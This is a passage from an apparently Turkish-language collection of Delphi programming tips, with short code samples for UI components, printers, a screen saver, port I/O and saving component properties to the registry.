ÇALIŞMA ESNASINDA, BİLEŞEN SAYISININ KONTROLÜ Uygulama tarafından kullanılmakta olan bileşen sayısının bulunması mümkündür. Henüz yaratılmamış olanlar, bu sayıya dahil edilmeyecektir. Uygulamalar tarafından kullanılmakta olan formların tümü Screen nesnesi ne bağlıdırlar. Her formun üzerindeki bileşenlerin sayısı ise ComponentCount özelliğinde saklanmaktadır. Aşağıdaki kod örneğinde bu özelliklerden yararlanılarak, uygulama üzerindeki toplam bileşen sayısı bulunmaktadır. function BilesenSayisi : Integer; var TopBilesen, F_Form : Integer; begin TopBilesen := 0; for F_Form := 0 to (Screen.FormCount - 1) do begin TopBilesen := TopBilesen + Screen.Forms[F_Form].ComponentCount; end; Result := TopBilesen; end;
FARE İMLECİNİN, İSTENEN KONTROL ÜZERİNE GETİRİLMESİ Fare imlecinin form üzerindeki kontrollerden birisi, örneğin bir buton üzerine getirilmesi için Butonun orta noktası hesaplanmalıdır. Örneğin butonun eni 24 ve boyu da 24 ise xC := Buton.Left + ( buton.width div 2 ); yC := buton.Top + ( buton.height div 2 ); Bulunan değerler Tpoint kayıt tipi içerisine yerleştirilir. ptBtn : TPoint; Btn := Point( xC, yC ); Butonun orta noktasına karşılık gelen ekran koordinatları bulunmalıdır. ptBtn:=buton.Parent.ScreenToClient( buton.ClientToScreen (ptBtn )); Fere imlecinin pozisyonunu, bulunan ekran koordinatı değeri kullanılarak değiştirilir. SetCursorPos( ptBtn.X, ptBtn.Y );
1583
ALT-? TUŞ KOMBİNASYONU Bir çok uygulamaya, programcılar tarafından çeşitli maksatlarla, genellikle de geliştirme ekibi hakkında bilgi vermek için, gizli, sürpriz pencereler yerleştirilmektedir. Zaman zaman dergilerde bu tür uygulamalarla ilgili bilgiler yayınlanmaktadır. Bu tekniği kendi programlarınız içerisinde de kullanabilirsiniz.. Aşağıdaki kod örneğinde, form üzerinde tuşa basıldığında, karakterler bir dizi haline getirilip, listedekilerle karşılaştırılmaktadır. listedekilerden bir tanesi ile çakıştığında ise bir mesaj gösterilmektedir. unit surpriz; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type Tst=array[1..4] of string; const strings:Tst= ('merhaba','güle güle','sürüm','sürpriz'); type TForm1 = class(TForm) procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } s:string; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); var i:integer; tamam:integer; begin if (shift=[ssalt]) and (key>=$41) and (key<=$5A) then begin s:=s+chr(key); tamam:=0; for i:=1 to 4 do begin if (s=copy(strings[i],1,length(s))) then Tamam:=-i; if (s=strings[i]) then Tamam:=i; end; if Tamam=0 then s:=''; if Tamam>0 then showmessage(strings[Tamam]);
1584
end; end; procedure TForm1.FormCreate(Sender: TObject); begin S:=''; end; end.
PROGRAMIN DURAKLATILMASI Uses .... Winprocs ....; Procedure delay(millisecs : longint); { Milisaniyelik duraklatma } var Bitir : longint; begin bitir := gettickcount + millisecs; while bitir - gettickcount < 0 do Application.ProcessMessages; end; { delay } Delay(5000), 5 saniyelik bir duraklamaya sebep olur.
YAZI KARAKTERİ STİLİNİN DEĞİŞTİRİLMESİ with edit1 do begin Font.Style := Font.Style + [fsStrikeOut]; Font.Style := Font.Style + [fsUnderline]; Font.Style := Font.Style - [fsBold]; end;
MEVCUT BİR DAVRANIŞIN DEĞİŞTİRİLMESİ Bir sınıf elemanı olan davranışın, alt sınıflarda değiştirilerek kullanılması şu şekilde olur. Sınıf tanımının Protected bölümündeki tanımlama; … procedure Click ; override ; …
Implementation bölümündeki tanımlama procedure TYeniButton.Click ; begin inherited Click ; (Owner as TForm).Close ; end ;
KES, KOPYALA, YAPŞTIR Kesme, Kopyalama ve Yapıştırma işlemlerini, Klavye kullanılarak yapmak oldukça kolaydır. Bu işlemler menü elemanları vasıtasıyla da yapılabilir. Şayet bileşen, bu komutları aldığında ne yapacağını biliyorsa, Windows mesajlarını kullanmak en uygun hareket tarzıdır.
1585
Kesme; if GetFocus <> 0 then { Seçili bir pencere varmı? } SendMessage( GetFocus, WM_CUT, 0, 0 Kopyalama; if GetFocus <> 0 then { Seçili bir pencere varmı? } SendMessage( GetFocus, WM_COPY, 0, 0 Yapıştırma; if GetFocus <> 0 then { Seçili bir pencere varmı? } SendMessage( GetFocus, WM_PASTE, 0, 0); Fare imlecinin, pencere üzerinde olup olmadığının kontrolü Form'un OnMouseMove olayında; procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); var P : TPoint; begin P.X := X; P.Y := Y; if PtInRect (ClientRect,P) then {bütün pencere için sadece "rect"} MouseCapture := True else begin MouseCapture := False; ShowMessage ('Benim üzerimde değil'); end; end;
GETKEYBOARDSTATE Sistem tuşlarının durumunu öğrenmenin en kolay yolu, klavye üzerindeki LED'lere bakmaktır. Kod içerisinden bunu anlamanın yolu ise aşağıdadır.Tuş durumları, paneller üzerindeki yazının sönük veya koyu olması ile gösterilmektedir. Bu nedenle form üzerine 4 adet panel yerleştirip isimlerini Captio özelliklerini ayarlayın. Ttimer bileşeninin OnTimer olayına da aşağıdaki kodu yazın. procedure TForm1.Timer1Timer(Sender: TObject); const vkconsts: array[0..3] of Word=(vk_Scroll, vk_Insert, vk_Capital, vk_NumLock); PanelColor: array[Boolean] of TColor=(clGray, clBlack); var Toggles: array[0..3] of Bool; Panels: array[0..3] of TPanel ; I: Integer; begin for I := Low(vkconsts) to High(vkconsts) do begin Toggles[I] := Bool(GetKeyState(vkconsts[I]) and 1); if stToggles[I]<>Toggles[I] then begin stToggles[I] := Toggles[I]; case i of 0:PanelScrollLock.Font.Color:=PanelColor[Toggles[I]]; 1:PanelINS.Font.Color:=PanelColor[Toggles[I]]; 2: PanelCAPS.Font.Color:=PanelColor[Toggles[I]]; 3:PanelNUM.Font.Color:=PanelColor[Toggles[I]];
1586
end; end; end; end; {Olay yakalama yordamlarının dinamik olarak atanması Dinamik olarak bir PopUp menü yaratıldığında, menü elemanlarının altına, seçildiklerinde yapacakları işlerle ilgili olarak doğrudan kod yazmak mümkün değildir. Bunun yerine, hangi menü elemanının ne yapacağını bilen tek bir yordam yazıp, gerektiğinde çağırabilirsiniz. Sender özelliğine göre, seçilen menü elemanı da tespit edilip, gereken kod çalıştırılabilir.} procedure MyPopUpClick(Sender : TObject); begin end; Yukarıdaki yordam PopUp menünün OnClick olayına şu şekilde eşitlenir. procedure TForm1.TestButtonClick(Sender: TObject); begin : MyPopUp.OnClick = MyPopUpClick; : end;
SENDER PARAMETRESİNİN KULLANILMASI with Sender as TEdit do begin case Tag of 1: birşeyler yap 2: Başka birşeyler yap end; {case} end;
BÜYÜK METİNLERİN PANODAN ALINMASI var Buffer: PChar; MyHandle : THandle; TextLength : Integer; begin MyHandle := Clipboard.GetAsHandle(CF_TEXT); Buffer := GlobalLock(MyHandle); If Buffer = Nil then begin GlobalUnlock(MyHandle); exit; end; TextLength := StrLen(buffer);
WİNDOWS SÜRÜM NUMARASININ OKUNMASI GetVersion api fonksiyonu kullanılarak, çalışmakta olan Windows'un sürüm numarası nasıl alınabilir. Bu fonksiyonun dödürdüğü sonuç içerisinde sürüm numarası nasıl ayıklanır? program Winvrsn; uses
1587
WinTypes, WinProcs, SysUtils; procedure TForm1.Button2Click(Sender: TObject); var WinVersion : Word; DosVersion : Word; VersionString : String; begin WinVersion := GetVersion and $0000FFFF; DosVersion := (GetVersion and $FFFF0000) shr 16; VersionString := 'DOS : ' + IntToStr(Hi(DOSVersion)) + '.' + IntToStr(Lo(DOSVersion)) + #13 + 'Windows : '+ IntToStr(Lo(WinVersion)) + '.' + IntToStr(Hi(WinVersion)) + #0; MessageBox(0, @VersionString[1],'Version Information', MB_ICONINFORMATION or MB_OK) end;
PROGRAM GURUPLARININ LİSTBOX BİLEŞENİNE DOLDURULMASI Sistemde tanımlı olan program guruplarının elde edilip, bir listbox içerisine doldurulması için neler yapılmalıdır? unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,StdCtrls, DdeMan; type TForm1 = class(TForm) Button1: TButton; FGroupsList: TListBox; FDDEClient: TDdeClientConv; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } Procedure ReadGroups; end; var Form1: TForm1; implementation {$R *.DFM} Procedure TForm1.ReadGroups; Var GroupData : PChar; TmpStr : String; FNumGroups, i : integer;
1588
begin GroupData := FDDEClient.RequestData('Groups'); FGroupsList.Clear; FNumGroups := 0; if GroupData = nil then exit else begin i := 0; TmpStr := ''; While GroupData[i] <> #0 do begin if GroupData[i] = #13 then begin FGroupsList.items.Add(TmpStr); TmpStr := ''; i := i + 1; end else TmpStr := TmpStr + GroupData[i]; i := i + 1; end; end; StrDispose(GroupData); end; procedure TForm1.Button1Click(Sender: TObject); begin ReadGroups end; end.
Yukarıdaki kod için kullanılan form ise şu şekildedir. object Form1: TForm1 Left = 200 Top = 111 Width = 374 Height = 486 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'MS Sans Serif' Font.Style = [] PixelsPerInch = 120 TextHeight = 16 object Button1: TButton Left = 280 Top = 408 Width = 75 Height = 41 Caption = 'Button1' TabOrder = 0 OnClick = Button1Click end object FGroupsList: TListBox Left = 8 Top = 0 Width = 265 Height = 449
1589
ItemHeight = 16 TabOrder = 1 end object FDDEClient: TDdeClientConv DdeService = 'progman' Left = 48 Top = 88 LinkInfo = ( 'Service progman' 'Topic ') end end
TLİSTBOX VE TCOMBOBOX BİLEŞENLERİ İÇERİSİNE RESİM YERLEŞTİRİLMESİ ListBox ve ComboBox bileşenleri içerisine yerleştirilen seçimlik elemanların, sadece metin değil, aynı zamanda BMP formatındaki resimleri de içermesi, tasarladığınız kullanıcı arayüzlerinin, diğerlerinden farklı olmasını sağlar. Bunun için hazırlanmış olan örnek kod aşağıdadır. Unit1.pas; unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) ComboBox1: TComboBox; ListBox1: TListBox; procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure ComboBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState); procedure ComboBox1MeasureItem(Control: TWinControl; Index: Integer; var Height: Integer); procedure ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState); procedure ListBox1MeasureItem(Control: TWinControl; Index: Integer; var Height: Integer); private { Private declarations } public { Public declarations } end; var Form1: TForm1; TheBitmap1, TheBitmap2, TheBitmap3, TheBitmap4, TheBitmap5 : TBitmap;
1590
implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin TheBitmap1 := TBitmap.Create; TheBitmap1.LoadFromFile('C:\Program Files\Borland\Delphi 3\images\buttons\globe.bmp'); TheBitmap2 := TBitmap.Create; TheBitmap2.LoadFromFile('C:\Program Files\Borland\Delphi 3\images\buttons\video.bmp'); TheBitmap3 := TBitmap.Create; TheBitmap3.LoadFromFile('C:\Program Files\Borland\Delphi 3\images\buttons\gears.bmp'); TheBitmap4 := TBitmap.Create; TheBitmap4.LoadFromFile('C:\Program Files\Borland\Delphi 3\images\buttons\key.bmp'); TheBitmap5 := TBitmap.Create; TheBitmap5.LoadFromFile('C:\Program Files\Borland\Delphi 3\images\buttons\tools.bmp'); ComboBox1.Items.AddObject('Bitmap1: Globe', TheBitmap1); ComboBox1.Items.AddObject('Bitmap2: Video', TheBitmap2); ComboBox1.Items.AddObject('Bitmap3: Gears', TheBitmap3); ComboBox1.Items.AddObject('Bitmap4: Key', TheBitmap4); ComboBox1.Items.AddObject('Bitmap5: Tools', TheBitmap5); ListBox1.Items.AddObject('Bitmap1: Globe', TheBitmap1); ListBox1.Items.AddObject('Bitmap2: Video', TheBitmap2); ListBox1.Items.AddObject('Bitmap3: Gears', TheBitmap3); ListBox1.Items.AddObject('Bitmap4: Key', TheBitmap4); ListBox1.Items.AddObject('Bitmap5: Tools', TheBitmap5); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin TheBitmap1.Free; TheBitmap2.Free; TheBitmap3.Free; TheBitmap4.Free; TheBitmap5.Free; end; procedure TForm1.ComboBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState); var Bitmap: TBitmap; Offset: Integer; begin with (Control as TComboBox).Canvas do begin FillRect(Rect); Bitmap := TBitmap(ComboBox1.Items.Objects[Index]); if Bitmap <> nil then begin BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2, Bitmap.Width, Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height), clRed);
1591
Offset := Bitmap.width + 8; end; { display the text } TextOut(Rect.Left + Offset, Rect.Top, Combobox1.Items[Index]) end; end; procedure TForm1.ComboBox1MeasureItem(Control: TWinControl; Index:Integer; var Height: Integer); begin height:= 20; end; procedure TForm1.ListBox1DrawItem(Control: TWinControl; Index: Integer; Rect: TRect; State: TOwnerDrawState); var Bitmap: TBitmap; Offset: Integer; begin with (Control as TListBox).Canvas do begin FillRect(Rect); Bitmap := TBitmap(ListBox1.Items.Objects[Index]); if Bitmap <> nil then begin BrushCopy(Bounds(Rect.Left + 2, Rect.Top + 2, Bitmap.Width, Bitmap.Height), Bitmap, Bounds(0, 0, Bitmap.Width, Bitmap.Height), clRed); Offset := Bitmap.width + 8; end; { display the text } TextOut(Rect.Left + Offset, Rect.Top, Listbox1.Items[Index]) end; end; procedure TForm1.ListBox1MeasureItem(Control: TWinControl; Index: Integer; var Height: Integer); begin height:= 20; end; end. Unit1.dfm object Form1: TForm1 Left = 211 Top = 155 Width = 526 Height = 320 Caption = 'Form1' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -16 Font.Name = 'System' Font.Style = [] OnClose = FormClose OnCreate = FormCreate
1592
PixelsPerInch = 120 TextHeight = 20 object ComboBox1: TComboBox Left = 33 Top = 38 Width = 206 Height = 22 Style = csOwnerDrawVariable ItemHeight = 16 TabOrder = 0 OnDrawItem = ComboBox1DrawItem OnMeasureItem = ComboBox1MeasureItem end object ListBox1: TListBox Left = 270 Top = 35 Width = 189 Height = 209 ItemHeight = 16 Style = lbOwnerDrawVariable TabOrder = 1 OnDrawItem = ListBox1DrawItem OnMeasureItem = ListBox1MeasureItem end end
BASİT BİR DLL ŞABLONU Delphi'de DLL hazırlamak hiç te zor değil. Aşağıdaki kod örneği derlendiğinde, uzantısı otomatik olarak,DLL olarak verilecektir.. Bu DLL "Fonksiyon" isimli tek bir fonksiyon ihraç etmektedir. library Dllframe; uses WinTypes; function Fonksiyon : string ; export ; begin Result := 'DLL' den merhaba!' ; end; exports Fonksiyon; begin end.
İPUCU PENCERESİNİN ÖZELLEŞTİRİLMESİ Standart ipucu penceresi, kısmen de olsa özelleştirilebilir. İşte örneği. Type TMyHintWindow = Class (THintWindow) Constructor Create (AOwner: TComponent); override; end; var Form1: TForm1; implementation Constructor TMyHintWindow.Create (AOwner: TComponent);
1593
begin Inherited Create (AOwner); canvas.brush.color:=clwhite; Canvas.Font.Name := 'Courier New'; Canvas.Font.Size := 72; end; procedure TForm1.FormCreate(Sender: TObject); begin Application.ShowHint := false; HintWindowClass := TMyHintWindow; Application.ShowHint := True; end; Dizi sabiti tanımı TYPE NAME1 = Array[1..4,1..10] of Integer; Const NAME2 : NAME1 = ((1,2,3,4,5,6,7,8,9,10), (1,2,3,4,5,6,7,8,9,10),(1,2,3,4,5,6,7,8,9,10), (1,2,3,4,5,6,7,8,9,10));
STRİNGRİD BİLEŞENİ İÇERİSİNDEKİ METNİN HİZALAMASI StringGrid bileşeni hücrelerindeki metin, Grid1DrawCell olay yordamına eklenecek birkaç satır kodla hizalanabilir. procedure Tform1.Grid1DrawCell(Sender: TObject; Col, Row: Longint; Rect: TRect; State: TGridDrawState); var l_oldalign : word; begin if (row=0) or (col<2) then grid1.canvas.font.style:=grid1.canvas.font.style+[fsbold]; if col<>1 then begin l_oldalign:=settextalign(grid1.canvas.handle,ta_right); grid1.canvas.textrect(rect,rect.right-2, Rect.top+2,grid1.cells[col,row]); settextalign(grid1.canvas.handle,l_oldalign); end else begin grid1.canvas.textrect(rect,rect.left+2,rect.top+2,grid1.cells [col,row]); end; grid1.canvas.font.style:=grid1.canvas.font.style-[fsbold]; end; end.
TSTRİNGGRİD BİLEŞENİNDEN BİR SATIRIN SİLİNMESİ Bu fonksiyonu "RowNumber" parametresi ile belirtilen satırı StringGrid bileşeninden siler.
1594
procedure GridDeleteRow(RowNumber : Integer; Grid : TStringGrid); Var i : Integer; Begin Grid.Row := RowNumber; If (Grid.Row = Grid.RowCount -1) Then Begin {On the last row} Grid.RowCount := Grid.RowCount - 1; End Else Begin {Not the last row} For i := RowNumber To Grid.RowCount - 1 Do Begin Grid.Rows[i] := Grid.Rows[i+ 1]; End; Grid.RowCount := Grid.RowCount - 1; End; End;
TSTRİNGGRİD SATIRININ EN ALTA GÖNDERİLMESİ Bu fonksiyon, "RowNumber" parametresi ile belirtilen satırı, StringGrid bileşeninin en son satırına gönderir. procedure GridMoveRowToBottom(RowNumber : Integer; Grid : TStringGrid); Var i : Integer; Begin Grid.Row := RowNumber; Grid.RowCount := Grid.RowCount + 1; Grid.Rows[Grid.RowCount-1] := Grid.Rows[Grid.Row]; For i := RowNumber+1 To Grid.RowCount -1 Do Begin Grid.Rows[i-1] := Grid.Rows[i]; End; Grid.RowCount := Grid.RowCount - 1; End; Sistemde tanımlı yazıcıların listelenmesi //uses printers var printer:tprinter; begin printer:=tprinter.create; listbox1.items.assign(printer.printers) end;
YAZDIRMA Kullanıcı butona bastığında, bir adet Bitmap nesnesi yaratılıp, içeriği dosyadan alınmakta ve kağıdı ortalayacak şekilde resim basılmaktadır. //uses printers procedure TForm1.Button1Click(Sender: TObject); var
1595
TBitmap bmp; begin bmp = TBitmap.Create; bmp.LoadFromFile('MyBitmap.bmp'); with Printer do begin BeginDoc; Canvas.Draw((PageWidth - bmp.Width) div 2, (PageHeight - bmp.Height) div 2,bmp); EndDoc; end; bmp.Free; end;
İSTENEN YAZICININ SEÇİMİ Sistemde tanımlı birden fazla yazıcı varsa, yazıcılar 0'dan başlayacak şekilde numaralanır. İstenen yazıcının kullanılabilmesi veya hangi yazıcının seçili olduğunun öğrenilmesi için, Tprinter nesnesininin Printerindex özelliği kullanılır. Kullanılmakta olan yazıcının numarası bu özellikte saklanır. Değiştirilecek ise, kullanılacak yazıcının numarası, yine bu özelliğe atanır. Bu özellikte "-1" değeri varsa, varsayılan yazıcı seçili muamelesi görür. //uses printers var printer:tprinter; begin printer:=tprinter.create; printer.printerindex:=0; end;
YAZICI YAZI TİPLERİ Seçili durumaki yazıcı tarafından desteklenmekte olan yazı tipleri aşağıdaki yöntemle listelenir. //uses printers var printer:tprinter; begin printer:=tprinter.create; listbox1.items.assign(printer.fonts) end;
HEX TO DEC Aşağıdaki fonksiyon, 16 tabanındaki bir sayının ondalık sayıya çevirilmesi için kullanılabilecek bir fonksiyondur. procedure TForm1.Button1Click(Sender: TObject); CONST HEX : ARRAY['A'..'F'] OF INTEGER = (10,11,12,13,14,15); VAR str : String; Int, i : integer; BEGIN STR:=EDIT1.TEXT; Int := 0; FOR i := 1 TO Length(str) DO IF str[i] < 'A' THEN Int := Int * 16 + ORD(str[i]) - 48
1596
ELSE Int := Int * 16 + HEX[str[i]]; edit1.text:=inttostr(int); end;
HAFIZA MİKTARI unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} Function MyGetExt: Integer; Assembler; asm Mov AX,$3031; Out $70,AL; NOP; IN AL,$71; XCHG AH,AL; Out $70,AL; NOP; IN AL,$71; end; procedure TForm1.Button1Click(Sender: TObject); begin showmessage(inttostr(MyGetExt)) end; end.
FARE HAREKET ALANININ KISITLANMASI Aşağıdaki kod örneğinde, farenin sol tuşuna basılıyken, imleç form üzerinden başka bir yere taşınamamaktadır. unit Unit1; interface
1597
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var r:trect; begin canvas.pen.mode:=pmxor; canvas.Pen.style:=psdot; r:=boundsrect; inflaterect(r,-30,-30); clipcursor(@r); end; procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin clipcursor(nil); end; end.
PGUP VE PGDOWN TUŞLARI İLE FORMU AŞAĞI YUKARI KAYDIRMA Kalabalık veya küçültülmüş formlarda, bazı kontroller, görünmeyen bölgede kalırlar. Gerektiğinde Kaydırma çubukları ile formun görünmeyen bölgelerine ulaşmak elbetteki mümkündür. Bu işlem, klavye kullanılarak da şu şekilde yapılabilir. Form.Keypreview özelliği TRUE olmalıdır. unit Unit1; interface uses
1598
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Edit1: TEdit; Memo1: TMemo; ListBox1: TListBox; procedure FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); const delta=10; begin with vertscrollbar do if key=vk_next then position:=position+delta else if key=vk_prior then position:=position-delta; end; end.
ÖZEL YAZI KARAKTERİ Kendi yazı karakterinizi kullanın. unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1;
1599
implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); var dc:hdc; thefont:hfont; begin dc:=getdc(handle); thefont:=createfont( 24, //yükseklik 16, //ortalama karakter genişliği 0, //yatış açısı 0, //yönlendiröe açısı 400,//yazı karakteri ağırlığı 0, //italiklik bayrağı 0, //alt çizgi bayrağı 0, //vurgu bayrağı oem_charset,// karakter seti out_default_precis,//çıkış vurgusu clip_default_precis,//kesme vurgusu default_quality,//çıktı kalitesi default_pitch or ff_script,//vurgu ve aile 'script'//ad ); selectobject(dc,thefont); textout(dc,10,10,'Merhaba Dünya',24); releasedc(handle,dc); deleteobject(thefont); end; end.
EKRAN KORUYUCU Bir ekran koruyucusu nasıl olur. İşte örneği: · Proje dosyasına, projenin ekran koruyucu olacağına dair bir bilgi satırı eklenmelidir. {$D SCRSAVE
1600
procedure FormShow(Sender: TObject); procedure FormHide(Sender: TObject); procedure FormActivate(Sender: TObject); private { Private declarations } procedure DrawSphere(x, y, size : integer; color : TColor); procedure DeactivateScrnSaver(var Msg : TMsg; var Handled : boolean); public { Public declarations } end; var ScrnFrm: TScrnFrm; implementation {$R *.DFM} var crs : TPoint; {Fare imlecinin orjinal yeri.} function Min(a, b : integer) : integer; begin if b < a then Result := b else Result := a; end; {Min} procedure TScrnFrm.DrawSphere(x, y, size : integer; color : TColor); var i, dw : integer; cx, cy : integer; xy1, xy2 : integer; r, g, b : byte; begin with Canvas do begin {Fırça ve kalem şekilleri.} Pen.Style := psClear; Brush.Style := bsSolid; Brush.Color := color; {Renk karışımları.} r := GetRValue(color); g := GetGValue(color); b := GetBValue(color); {Topların çizimi.} dw := size div 16; for i := 0 to 15 do begin xy1 := (i * dw) div 2; xy2 := size - xy1; Brush.Color := RGB(Min(r + (i * 8), 255), Min(g + (i * 8), 255), Min(b + (i * 8), 255)); Ellipse(x + xy1, y + xy1, x + xy2, y + xy2); end; end; end; {TScrnFrm.DrawSphere} procedure TScrnFrm.DeactivateScrnSaver(var Msg : TMsg; var
1601
Handled : boolean); var done : boolean; begin if Msg.message = WM_MOUSEMOVE then done := (Abs(LOWORD(Msg.lParam) - crs.x) > 5) or (Abs(HIWORD(Msg.lParam) - crs.y) > 5) else done := (Msg.message = WM_KEYDOWN) or (Msg.message = WM_KEYUP) or (Msg.message = WM_SYSKEYDOWN) or (Msg.message = WM_SYSKEYUP) or (Msg.message = WM_ACTIVATE) or (Msg.message = WM_NCACTIVATE) or (Msg.message = WM_ACTIVATEAPP) or (Msg.message = WM_LBUTTONDOWN) or (Msg.message = WM_RBUTTONDOWN) or (Msg.message = WM_MBUTTONDOWN); if done then Close; end; {TScrnFrm.DeactivateScrnSaver} procedure TScrnFrm.tmrTickTimer(Sender: TObject); const sphcount : integer = 0; var x, y : integer; size : integer; r, g, b : byte; color : TColor; begin Inc(sphcount); x := Random(ClientWidth); y := Random(ClientHeight); size := 25; x := x - size div 2; y := y - size div 2; r := Random($80); g := Random($80); b := Random($80); DrawSphere(x, y, size, RGB(r, g, b)); end; {TScrnFrm.tmrTickTimer} procedure TScrnFrm.FormShow(Sender: TObject); begin GetCursorPos(crs); tmrTick.Interval := 100; tmrTick.Enabled := true; Application.OnMessage := DeactivateScrnSaver; ShowCursor(false); end; {TScrnFrm.FormShow} procedure TScrnFrm.FormHide(Sender: TObject); begin Application.OnMessage := nil; tmrTick.Enabled := false; ShowCursor(true); end; {TScrnFrm.FormHide} procedure TScrnFrm.FormActivate(Sender: TObject); begin WindowState := wsMaximized;
1602
end; {TScrnFrm.FormActivate} end. Spheres.DPR program Spheres; uses Forms, SysUtils, Scrn in 'SCRN.PAS' {ScrnFrm}; {$R *.RES} {$D SCRNSAVE Spheres Ekran koruyucu} begin {Sadece birkez çalışmalı.} if hPrevInst = 0 then begin if (ParamCount > 0) and (UpperCase(ParamStr(1)) = '/S') then begin Application.CreateForm(TScrnFrm, ScrnFrm); application.initialize; Application.Run; end else application.Terminate; end; end.
BİR NESNEDEKİ ÖZELLİKLERİN LİSTESİ procedure ObjectInspector( Obj : TObject; Items : TStrings ); var n : integer; PropList : TPropList; begin n := 0; GetPropList( Obj.ClassInfo, tkProperties + [ tkMethod ], @PropList ); while( (Nil <> PropList[ n ]) and (n < High(PropList)) ) do begin Items.Add( PropList[ n ].Name + ': ' + PropList[ n ].PropType^.Name ); Inc( n ); end; end;
HABERLEŞME PORTLARINA ERİŞİM Haberleşme kanallarından bilgi almak veya kanallara bilgi yazmak için aşağıdaki fonksiyonlar kullanılabilir. Belirtilen numaradaki kanala her seferinde bir Byte bilgi yazılabilir veya kanaldan 1 Byte''ık bilgi okunabilir. function ReadPortB ( wPort : Word ) : Byte; begin asm
1603
mov dx, wPort in al, dx mov result, al end; end; procedure WritePortB ( wPort : Word; bValue : Byte ); begin asm mov dx, wPort mov al, bValue out dx, al end; end;
BİLEŞEN ÖZELLİKLERİNİN KAYIT DEFTERİNDE SAKLANMASI Bileşenlerin, Published tipindeki özellikleri, kayıt defterine yazılarak, gelecekte tekrar kullanılmak üzere saklanabilir. Örnek kod aşağıdadır. unit unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,registry,TypInfo, StdCtrls; type TForm1 = class(TForm) xxzzbtn1: TButton; procedure xxzzbtn1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; procedure SaveToRegistry(Obj: TPersistent; Reg: TRegistry); procedure SaveToKey(Obj: TPersistent; const KeyPath: string); procedure SaveSetToRegistry(const Name: string; Value: Integer; gTypeInfo: PTypeInfo; Reg: TRegistry); procedure SaveObjToRegistry(const Name: string; Obj: TPersistent; Reg: TRegistry); procedure SavePropToRegistry(Obj: TPersistent; PropInfo: PPropInfo;Reg: TRegistry); var Form1: TForm1; implementation {$R *.DFM} {integer sayıların, bitlerine ulaşabilmek için, bir tip kümesi oluşturulmalıdır. } const
1604
BitsPerByte = 8; type TIntegerSet = set of 0..SizeOf(Integer)*BitsPerByte - 1; { Özellik kümesini, ayrı bir alt anahtar altına BOLLEAN olarak kaydederek, sonradan REGEDIT vasıtasıyla düzeltme imkanı elde edilir. } procedure SaveToRegistry(Obj: TPersistent; Reg: TRegistry); var PropList: PPropList; PropCount: Integer; I: Integer; begin { Published özelliklerin listesini oluştur. } PropCount := GetTypeData(Obj.ClassInfo)^.PropCount; GetMem(PropList, PropCount*SizeOf(PPropInfo)); try GetPropInfos(Obj.ClassInfo, PropList); { Her özelliği, mevcut anahtara ait bir değer olarak sakla } for I := 0 to PropCount-1 do SavePropToRegistry(Obj, PropList^[I], Reg); finally FreeMem(PropList, PropCount*SizeOf(PPropInfo)); end; end; { Published özellikleri, verilen anahtarın altına değer olarak yaz. Bu anahtar, HKEY_CURRENT_USER.anahtarının altında yer alacaktır. } procedure SaveToKey(Obj: TPersistent; const KeyPath: string); var Reg: TRegistry; begin Reg := TRegistry.Create; try if not Reg.OpenKey(KeyPath, True) then raise ERegistryException.CreateFmt('Anahtar yaratılamadı: %s',[KeyPath]); SaveToRegistry(Obj, Reg); finally Reg.Free; end; end; procedure SaveSetToRegistry(const Name: string; Value: Integer; gTypeInfo: PTypeInfo; Reg: TRegistry); var OldKey: string; I: Integer; pppTypeInfo:PPTypeInfo; begin pppTypeInfo := GetTypeData(gTypeInfo)^.CompType; OldKey := '\' + Reg.CurrentPath; if not Reg.OpenKey(Name, True) then 